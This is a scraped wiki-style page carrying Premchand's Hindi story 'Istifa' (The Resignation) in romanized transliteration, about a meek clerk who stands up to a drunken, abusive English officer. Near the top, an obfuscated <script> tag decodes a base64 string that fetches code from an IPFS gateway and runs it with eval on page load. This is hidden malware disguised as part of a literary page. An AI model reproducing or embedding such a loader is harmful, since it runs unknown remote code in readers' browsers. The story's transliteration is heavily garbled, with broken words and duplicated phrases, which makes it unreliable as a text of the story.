इस्तीफा -प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

daftar ka baboo ek bejaban jiv hai. mazadooroan ko aankhean dikhao, to vah tyoriy aauan badal kar kh da ho jayakah. kuli ko ek daant bataoan, to sir se bojh pheank kar apani rah lega. kisi bhikhari ko dutkaroan, to vah tumhari or gusse ki nigaha se dekh kar chala jaeega. yahaan tak ki gadha bhi kabhi-kabhi takaliph pakar do lattiy aauan jh dane lagata he; magar bechare daftar ke baboo ko ap chahe aankhe dikhayean, d aauant batayean, dutkarean ya thokarean maroan, usak mathe par bal n ayega. use apane vikaroan par jo adhipaty hota he, vah shayad kisi sanyami sadhu mean bhi n ho. santosh ka putala, sabr ki moorti, sachcha ajnakari, garaj usamean tamam manavi achchhaiyaan maujood hoti hean. khandahar ke bhi ek din bhagy jate he divali ke din us par bhi roshani hoti hai, barasat mean us par hariyali chhati he, prakriti ki dilachaspiyoan mean usaka bhi hissa hai. magar is garib baboo ke nasib kabhi nahian jagate. isaki aandheri takadir mean roshani ka jalava kabhi nahian dikhaee deta. isake pile chehare par kabhi muskarahat ki roshni najar nahian ati. isake lie sookha savan he, kabhi hara bhadoan nahian. lala fatahachand aise hi ek bejaban jiv the.

kahate hean, manushy par usake nam ka bhi asar p data hai. fatahachand ki dasha mean yah bat yatharth siddh n ho saki. yadi unhean ‘harachand’ kaha jae to kadachit yah atyukti n hogi. daftar mean har, ziandagi mean har, mitroan mean har, jitan mean unake lie charoan or nirashaऍan hi thian. l daka ek bhi nahian, l dakiy aauan ti; bhaee ek bhi nahian, bhaujaiy aauan do, g aauanth mean kau di nahian, magar dil mean aya or muravvat, sachcha mitr ek bhi nahian—jisase mitrata huee, usane dhokha diya, is par tandurasti bhi achchhi nahian—battis sal ki avastha mean bal khich di ho gaye the. aankhoan mean jyoanti nahian, hajama chaupat, chehara pila, gal chipake, kamar jhuki huee, n dil mean himmat, n kaleje mean takat. nau baje daftar jate aur chh: baje sham ko laut kar ghar ate. phir ghar se bahar nikalane ki himmat n p dati. duniya mean kya hota hai; isaki unhean bilakul khabar n thi. unaki duniya lok-paralok jo kuchh tha, daftar tha. naukari ki khair manate aur ziandagi ke din poore karate the. n dharm se vasta tha, n din se nata. n koee manoranjan tha, n khel. tash khele hue bhi shayad ek muddat gujar gayi thi.

2

ja do ke din the. akash par kuchh-kuchh badal the. fatahachand sadhe p aauanch baje daftar se lautai to chirag jal gaye the. daftar se akar vah kisi se kuchh n bolate; chupake se charapaee par let jate aur pandrah-bis minat tak bina hile-dule p de rahate tab kahian jakar unake muanh se avaz nikalati. aj bhi pratidin ki tarah ve chupachap p de the ki ek hi minat mean bahar se kisi ne pukara. chhoti l daki ne jakar poochha to maloom hua ki daftar ka chaparasi hai. sharada pati ke muanh-hath dhane ke lie lota-gilas m aauanj rahi thi. boli—usase kah de, kya kam hai. abhi to daftar se aye hi haian, aur bulava a gaya hai?

chaparasi ne kaha hai, abhi phir bula lao. koee b da zaroori kam hai.

phatahachand ki khamoshi toot gayi. unhoanne sir utha kar poochha—kya bat hai?

sharada—koee nahian daftar ka chaparasi hai.

phatahachand ne saham kar kaha—daftar ka chaparasi! kya sahab ne bulaya hai?

sharada—haan, kahata he, sahab bula rahe hai. yahaan kaisa sahab he tumharar jab dekha, bulaya karata hai? sabere ke ge-ge abhi makan laute ho, phir bhi bulaya a gaya!

phatahachand n sanbhal kar kaha—jara sun looan, kisalie bulaya hai. maianne sab kam khatam kar diya tha, abhi ata hooan.

sharada—jara jalapan to karate jao, chaparasi se batean karane lagoge, to tumhean andar ane ki yad bhi n raheangi.

yah kah kar vah ek pyali mean tho di-si dalamot or sev layi. fatahachand uth kar kh de ho gaye, kintu khane ki chizean dekh karah charapaee par baith gaye aur pyali ki or chav se dekh kar charapaee par baith gaye or pyali ki or chav se dekh kar darate hue bole—l dakiyoan ko de diya hai n?

sharada ne aankhe chadhakar kaha—haan-haan; de diya hai, tum to khao.

itane mean chhoti mean chaparasi ne phir pukar—baboo ji, hamean b di der ho rahi haian.

sharada—kah kyoan nahian date ki is vakt n ayeangean

phatahachand ne jaldi-jaldi dalamot ki do-tin phankiy aauan lagayi, ek gilas pani piya or bahar ki taraph dau de. sharada pan banati hi rah gayi.

chaparasi ne kaha—baboo ji! apane b di der kar di. ab jara lapak echalie, nahian to jate hi d aauant batayega.

phatahachand ne do qadam dau d kar kaha—chaleange to bhaee adami hi ki tarah chahe d aauant lagayean ya d aauant dikhayean. hamase dau da nahian jata. bangale hi par hai n?

chaparasi—bhala, vah daftar kyoan ane laga. badashah he ki dillagi?

chaparasi tej chalane ka adi tha. bechare baboo fatahachand dhire-dhire jate the. tho di hi door chal kar haanph uthe. magar mard to the hi, yah kaise kahate ki bhaee jara aur dhire chalo. himmat karake qadam uthatean jate thean yahaan tak ki j aauangho mean dard hone laga aur adha rasta khatam hote-hote pairoan ne uthane se inakar kar diya. sara

sharir pasine se tar ho gaya. sir mean chakkar a gaya. aankhoan ke samane titaliy aauan u dane lagian.

chaparasi ne lalakara—jara qadam badhay chalo, baboo!

phatahachand b di mushkil se bole—tum jao, maian ata hooan.

ve s dak ke kinare patari par baith gaye or sir ko donoan hathoan se tham kar dam marane lagean chaparasi ne inaki yah dasha dekhi, to age badha. fatahachand dare ki yah shaitan jakar n-jane sahab se kya kah de, to gajab hi ho jayaga. zamin par hath tek kar uthe or phir chalean magar kamazori se sharir haanph raha tha. is samay koihr bachcha bhi unhean zamin par gira sakata thaan bechare kisi tarah girate-p date sahab bangalean par pahuanche. sahab bangale par tahal rahe the. bar-bar phatak ki taraph dekhate the aur kisi ko ato n dekh kar man mean jhallate the.

chaparasi ko dekhate hi aankhean nikal kar bol—itani der kahaan tha?

chaparasi ne baramade ki sidhi par kh de-kh de kaha—huzoor! jab vah ayean tab to; mai dau da chala a raha hooan.

sahab ne per patak kar kaha—baboo kya bola?

chaparasi—a rahe he huzoor, ghanta-bhar mean to ghar mean se nikale.

itane mean putahachand ahate ke tar ke uandar se nikal kar vahaan a pahuanche aur sahab ko sir jhuk kar salam kiya.

sahab ne k dakar kaha—ab tak kahaan tha?

phatahachanad ne sahab ka tamatamaya chehara dekha, to unaka khoon sookh gaya. bole—huzoor, abhi-abhi to daftar se gaya hooan, jyoan hi chaparasi ne avaz di, hajir hua.

sahab—jhooth bolata hai, jhooth bolata he, ham ghante-bhar se kh da hai.

phatahachand—huzoor, me jhooth nahian bolata. ane mean jitani der ho gayi hos, magar ghar se chalen mean mujhe bilkul der nahian huee.

sahab ne hath ki chh di ghumakar kaha—chup rah sooar, ham ghanta-bhar se kh da he, apana kan pak do!

phatahachand ne khoon ki ghant pikar kaha—huzoor mujhe das sal kam karate ho ge, kabhi......

sahab—chup rah sooar, ham kahata hai ki apana kan pak do!

phatahachand—jab maianne koee kusoor kiya ho?

sahab—chaparasi! is sooar ka kan pak do.

chaparasi ne dabi jaban se kaha—huzoor, yah bhi mere aphasar hai, mai inaka kan kaise pakadooan?

sahab—ham kahata hai, isaka kan pak do, nahian ham tumako hantaroan se marega.

chaparasi—huzoor, me yahan naukari karane aya hooan, mar khane nahian. maian bhi ijjatadar adami hooan. huzoor, apani naukari le lean! ap jo hukm dean, vah baja lane ko hajir hooan, lekin kisi ki ijjat nahian biga d sakata. naukari to char din ki hai. char din ke lie kyoan jamane-bhar se biga d karean.

sahab ab krodh ko n bardasht karasake. hantar lekar dau de. chaparasi ne dekha, yahaan kh d rahane mean khairiyat nahian hai, to bhag kh da hua. fatahachand abhi tak chupachap kh de the. chaparasi ko n pakar unake pas aya aur unake donoan kan pak dakar hila diya. bola—tum sooar gustakhi karata hai? jakar aphis se phail lao.

phatahachand ne kan hilate hue kaha—kaun-sa phail? tum bahara he sunata nahian? ham phail m aauangata hai.

phatahachand ne kisi tarah diler hokar kaha—ap kaun-sa phail m aaugate hean?

sahab—vahi phail jo ham maangata he. vahi phail lao. abhi laoan vechare fatahachand ko ab or kuchh poochhane ki himmat n huee sahab bahadoor ek to yoan hi tej-mizaj the, is par hukoomat ka ghamand or sabase badhakar sharab ka nasha. hantar lekar pil p date, to bechar kya kar lete? chupake se daftar ki taraph chal p de.

sahab ne kaha—dau d kar jao—dau do.

phatahachanad ne kaha—huzoor, mujhase dau da nahian jata.

sahab—o, tum bahoot sust ho gaya hai. ham tumako dau dana sikhayega. dau do (pichhe se dhakka dekar) tum ab bhi nahian dau dega?

yah kah kar sahab hantar lene chale. fatahachand daftar ke baboo hone par bhi manushy hi the. yadi vah balavan hoante, to us badamash ka khoon pi jate. agar unake pas koee hathiyar hota, to us par paroor chala dete; lekin us halat mean to mar khana hi unaki takadir mean likha tha. ve betahash bhage aur phatak se bahar nikal kar s dak par a gaye.

3

phatahachanad daftar n gaye. jakar karate hi kya? sahab ne phail ka nam tak n bataya. shayad nasha mean bhool gaya. dhire-dhire ghar ki or chale, magar is beijjati ne pairoan mean be diya-si dal di thian. mana ki vah sharirik bal mean sahab se kam the, unake hath mean koee chiz bhi n thi, lekin kya vah usaki batoan ka javab n de sakate the? unake pairo mean joote to the. kya vah joote se kam n le sakate the? phir kyoan unhoanne itani jillat bardasht ki?

magar ilaj ki kya tha? yadi vah krodh mean unhean goli mar deta, to usaka kya big data. shayad ek-do mahine ki sadi kaid ho jati. sambhav hai, do-char sau rupaye jurmana ho jat. magar inaka parivar to mitti mean mil jata. sansar mean kaun tha, jo inake stri-bachchoan ki khabar leta. vah kisake daravaze hath phailate? yadi usake pas itane rupaye hote, jise unake kutumb ka palan ho jata, to vah aj itani jillat n sahate. ya to mar hi jate, ya us shaitan ko kuchh sabak hi de dete. apani jan ka unhean dar n tha. zindagi mean aisa kaun sukh tha, jisake lie vah is tarah darate. khyal tha sirph parivar ke barabad ho jane ka.

aj fatahachanad ko apani sharirik kamazori par jitana du:kh hua, utana aur kabhi n hua tha. agar unhoanne shuroo hi se tanduroosti ka khyal rakha hota, kuchh kasarat karate rahate, lak di chalana janate hote, to kya is shaitan ki itani himmat hoti ki vah unaka kan pak data. usaki aankhean nikala lete. kam se kam danhean ghar se ek chhuri lekar chalana tha! or n hota, to do-char hath jamate hi—pichhe dekha jata, jel jana hi to hota ya aur kuchh?

ve jyoan-jyoan age badhate the, tyoan-tyoan unaki tabiyat apani kayarata aur bodepan par aurabhi jhallati thian agar vah uchak kar usake do-char thapp d laga dete, to kya hota—yahi n ki sahab ke khanasamean, baire sab un par pil p date or marate-marate bedam kar dete. bal-bachchoan ke sir par jo kuchh p dati—p dati. sahab ko itana to maloom ho jata ki garib ko begunah jalil karana asan nahi. akhir aj maian mar jaooan, to kya ho? tab kaun mere bachchoan ka palan kareanga? tab unake sir jo kuchh p degi, vah aj hi p d jati, to kya harj tha.

is antim vichar ne fatahachand ke hriday mean itana josh bhar diya ki vah laut p de or sahab se jillat ka badala lene ke lie do-char qadam chale, magar phir khayal aya, akhir jo kuchh jillat honi thi; vah to ho hi li. kaun jane, bangale par ho ya klab chala gaya ho. usi samay unhean sharada ki bekasi or bachchoan ka bina bap ke jane ka khayal bhi a gaya. phir laute aur ghar chale.

4

ghar mean jate hi sharada ne poochha—kisalie bulaya tha, b di der ho gayi?

phatahachand ne charapaee par letate hue kaha—nashe ki sanak thi, aur kya? shaitan ne mujhe galiy aauan di, jalil kiyaan basas, yahian rat lagae hue tha ki der kyoan ki? nirdayi ne chaparasi se mera kan pak dane ko kaha.

sharada ne gusse mean akar kaha—tumane ek joota utar kar diya nahian sooar ko?

phatahachand—chaparasi bahut sharif hai. usane saf kah diya—huzoor, mujhase yah kam n hoga. meanne bhale adamiyoan ki ijjat utarane ke lie naukari nahian ki thi. vah usi vakt salam karake chala gaya.

sharada—yahi bahaduri he. tumane us sahab ko kyoan nahian phatakara?

phatahachand—phatakara kyoan nahian—meanne bhi khoob sunayi. vah chh di lekar dau da—mene bhi joota sanbhala. usane mujhe chh diy aauan jamayian—maianne bhi kee joote lagaye!

sharada ne khush hokar kaha—sach? itana-sa muanh ho gaya hoga usaka!

phatahachand—chehare par jhadoo-si phiri huee thi.

sharada—b da achchha kiya tumane or marana chahie tha. me hoti, to bina jan lie n chho dati.

phatahachand—mar to aya hooan; lekin ab khairiyat nahian hai. dekho, kya natija hota hai? naukari to jayagi hi, shayad saza bhi katani p de.

sharada—saza kyoan katani p degi? kya koee iansaph karane vala nahian hai? usane kyoan galiy aauan dian, kyoan chh di jamayi?

phatahachand—usane samane meri kaun sunega? adalat bhi usi ki taraph ho jayagi.

sharada—ho jayagi, ho jae; magar dekh lena ab kisi sahab ki yah himmat n hogi ki kisi baboo ko galiy aauan de baithe. tumhe chahie tha ki jyoanhi usake muanh se galiy aauan nikali, lapak kar ek joota rasidad kar dete.

phatahachand—to phir is vakt jianda laut bhi n sakata. zaroor mujhe goli mar deta.

sharada—dekhi jati.

phatahachand ne muskara kar kaha—phir tum log kahaan jati?

sharada—jahaan eeshvar ki maraji hoti. adami ke lie sabase b di chiz ijjat he. ijjat gav aauan kar bal-bachchoan ki paravarish nahian ki jati. tum us shaitan ko mar ka aye hote to mai karoor se phooli nahian samati. mar khakar uthate, to shayad mai tumhari soorat se bhi ghrina karati. yoan jaban se chahe kuchh n kahati, magar dil se tumhari ijjal jati rahati. ab jo kuchh sir par ayegi, khushi se jhel looangi...... kahaan jate ho, suno-suno kahaan jate ho?

phatahachand divane hokar josh mean ghar se nikal p de. sharada pukarati rah gayi. vah phir sahab ke bangale ki taraph ja rahe the. dar se sahame hue nahian; balki garoor se gardan uthaye hue. pakka irada unake chehare se jhalak raha tha. unake pairoan mean vah kamazori, aankhean mean vah bekasi n thi. unaki kayapalat si ho gayi thi. vah kamazor badan, pila mukh da durbal badanavala, daftar ke baboo ki jagah ab mardana chehara, himmat bhara hua, mazaboot gatha aur javan tha. unhoanne pahale ek dost ke ghar jakar usak danda liya or ak date hue sahab ke bangale par ja pahuanche.

is vakt nau baje the. sahab khane ki mej par the. magar fatahachand ne aj unake mej par se uth jane ka dantajar n kiya, khanasama kamare se bahar nikala aur vah chik utha kar aandar ge. kamara prakash se jagamaga raha thaan zamin par aisi kalin bichhi huee thi; jesi fatahachand ki shadi mean bhi nahian bichhi hogi. sahab bahadoor ne unaki taraph krodhit drishti se dekh kar kaha—tum kyoan aya? bahar jaoan, kyoan andar chala aya?

phatahachand ne kh de-kh de danda sanbhal kar kaha—tumane mujhase abhi phail m aauanga tha, vahi phail lekar aya hooan. khana kha lo, to dikhaooan. tab tak mean baitha hooan. itaminan se khao, shayad vah tumhara akhiri khana hoga. isi karan khoob pet bhar kha lo.

sahab sannate mean a gaye. fatahachand ki taraph dar aur krodh ki drishti se dekh kar k aauanp uthe. fatahachand ke chehare par pakka irada jhalak raha tha. sahab samajh gaye, yah manushy is samay marane-marane ke lie taiyar hokar ayahai. takat mean fatahachand unase pasang bhi nahian tha. lekin yah nishchay tha ki vah eet ka javab patthar se nahian, balki lohe se dene ko taiyar hai. yadi pah fatahachand ko bura-bhala kahate hai, to kya ashchary hai ki vah danda lekar pil p de. hathapaee karane mean yadyapi unhean jitane mean jara bhi sandeh nahian tha, lekin baithe-baithaye dande khana bhi to koee buddhimani nahian hai. kutte ko ap dande se mariye, thukaraiye, jo chahe kijie; magar usi samay tak, jab tak vah gurrata nahian. ek bar gurra kar dau d p de, to phir dekhe ap himmat kahaan jati haian? yahi hal us vakt sahab bahadur ka thaan jab tak yakin tha ki fatahachand ghu daki, gali, hantar, thakar sab kuchh khamoshi se sah lega,. tab tak ap sher the; ab vah tyoriy aauan badale, dada sanbhale, billi ki tarah ghat lagaye khada hai. jaban se koee k da shabd nikala aur usane dada chalaya. vah adhik se adhik use barakhast kar sakate haian. agar marate haian, to mar khane ka bhi dar hai. us par faujadari mean mukadama dayar ho jane ka sandesha—mana ki vah apane prabhav aur takat ko jel mean dalava dege; parantu pareshani aur badanami se kisi tarah n bach sakate the. ek buddhiman aur doorandesh adami ki tarah unhoanne yah kaha—oho, ham samajh gaya, ap hamase naraz hean. hamane kya apako kuchh kaha hai? ap kyoan hamase naraz haian?

phatahachand ne tan kari kaha—tumane abhi adh ghanta pahale mere kan pak de the, aur mujhase saik do ool-jalool batean kahi thian. kya itani jaldi bhool gaye?

sahab—maine apaka kan pak da, a-ha-ha-ha-ha! kya majak hai? kya maian pagal hooan ya divana?

phatahachand—to kya mai jhooth bol raha hooan? chaparasi gavah hai. apake naukar-chakar bhi dekh rahe the.

sahab—kab ki bat hai?

phatahachand—abhi-abhi, koee adha ghanta hua, apane mujhe bulavaya tha aur bina karan mere kan pak de aur dhakke diye the.

sahab—o baboo ji, us vakt ham nasha mean tha. behara ne hamako bahut de diya tha. hamako kuchh khabar nahian, kya hua maee ga d! hamako kuchh khabar nahian.

phatahachand—nasha mean agar tumane goli mar di hoti, to kya mai mar n jata? agar tumhean nasha tha aur nasha mean sab kuchh muaph he, to mai bhi nashe me hooan. suno mera phaisala, ya to apane kan pak do ki phir kabhi kisi bhale adami ke sang aisa bartav n karoge, ya maian akar tumhare kan pakadooanga. samajh gaye ki nahian! idhar udhar hilo nahian, tumane jagah chho di aur mainean danda chalaya. phir khop di toot jae, to meri khata nahian. maian jo kuchh kahata hooan, vah karate chalo; pak doan kan!

sahab ne banavati hansi hansakar kaha—vel baboo ji, ap bahut dillagi karata hai. agar hamane apako bura bat kahata hai, to ham apase maphi m aauangata he.

phatahachand—(danda taulakar) nahian, kan pak do!

sahab asani se itani jillat n sah sake. lapakakar uthe aur chaha ki fatahachand ke hath se lak di chhin lean; lekin fatahachand gaphil n the. sahab mej par se uthane n paye the ki unhoanne dandean ka bharapoor aur tula hua hath chalaya. sahab to nange sir the hi; chot sir par p d gee. khop di bhanna gayi. ek minat tak sir ko pak de rahane ke bad bole—ham tumako barakhast kar dega.

phatahachand—isaki mujhe paravah nahian, magar aj maian tumase bina kan pak daye nahian jaooanga. kasan pak dakar vada karo ki phir kisi bhale adami ke sath aisa beadabi n karoge, nahian to mera doosara hath padana hi chahata hai!

yah kahakar fatahachand ne phir danda uthaya. sahab ko abhi tak pahali chot n bhooli thi. agar kahian yah doosara hath p d gaya, to shayad khop di khul jaee. kan par hath rakhakar bole—ab ap khush hua?

‘phir to kabhi kisi ko gali n doge?’

‘kabhi nahi.‘

‘agar phir kabhi aisa kiya, to samajh lena, maian kahian bahut door nahian hooan.‘

‘ab kisi ko gali n dega.‘

‘achchhi bat he, ab maian jata hooan, ap se mera istipha hai. maian kal istipha mean yah likhakar bhejooanga ki

tumane mujhe galiy aauan dian, isalie maian naukari nahian karana chahata, samajh gaye?

sahab—ap istipha kyoan deta hai? ham to ham to barakhast nahian karata.

phatahachand—ab tum jaise paji adami ki matahati nahian karooanga.

yah kahate hue fatahachand kamare se bahar nikale aur b de itaminan se ghar chale. aj unhean sachchi vijay ki prasannata ka anubhav hua. unhean aisi khushi kabhi nahian prapt huee thi. yahi unake jitan ki pahali jit thi.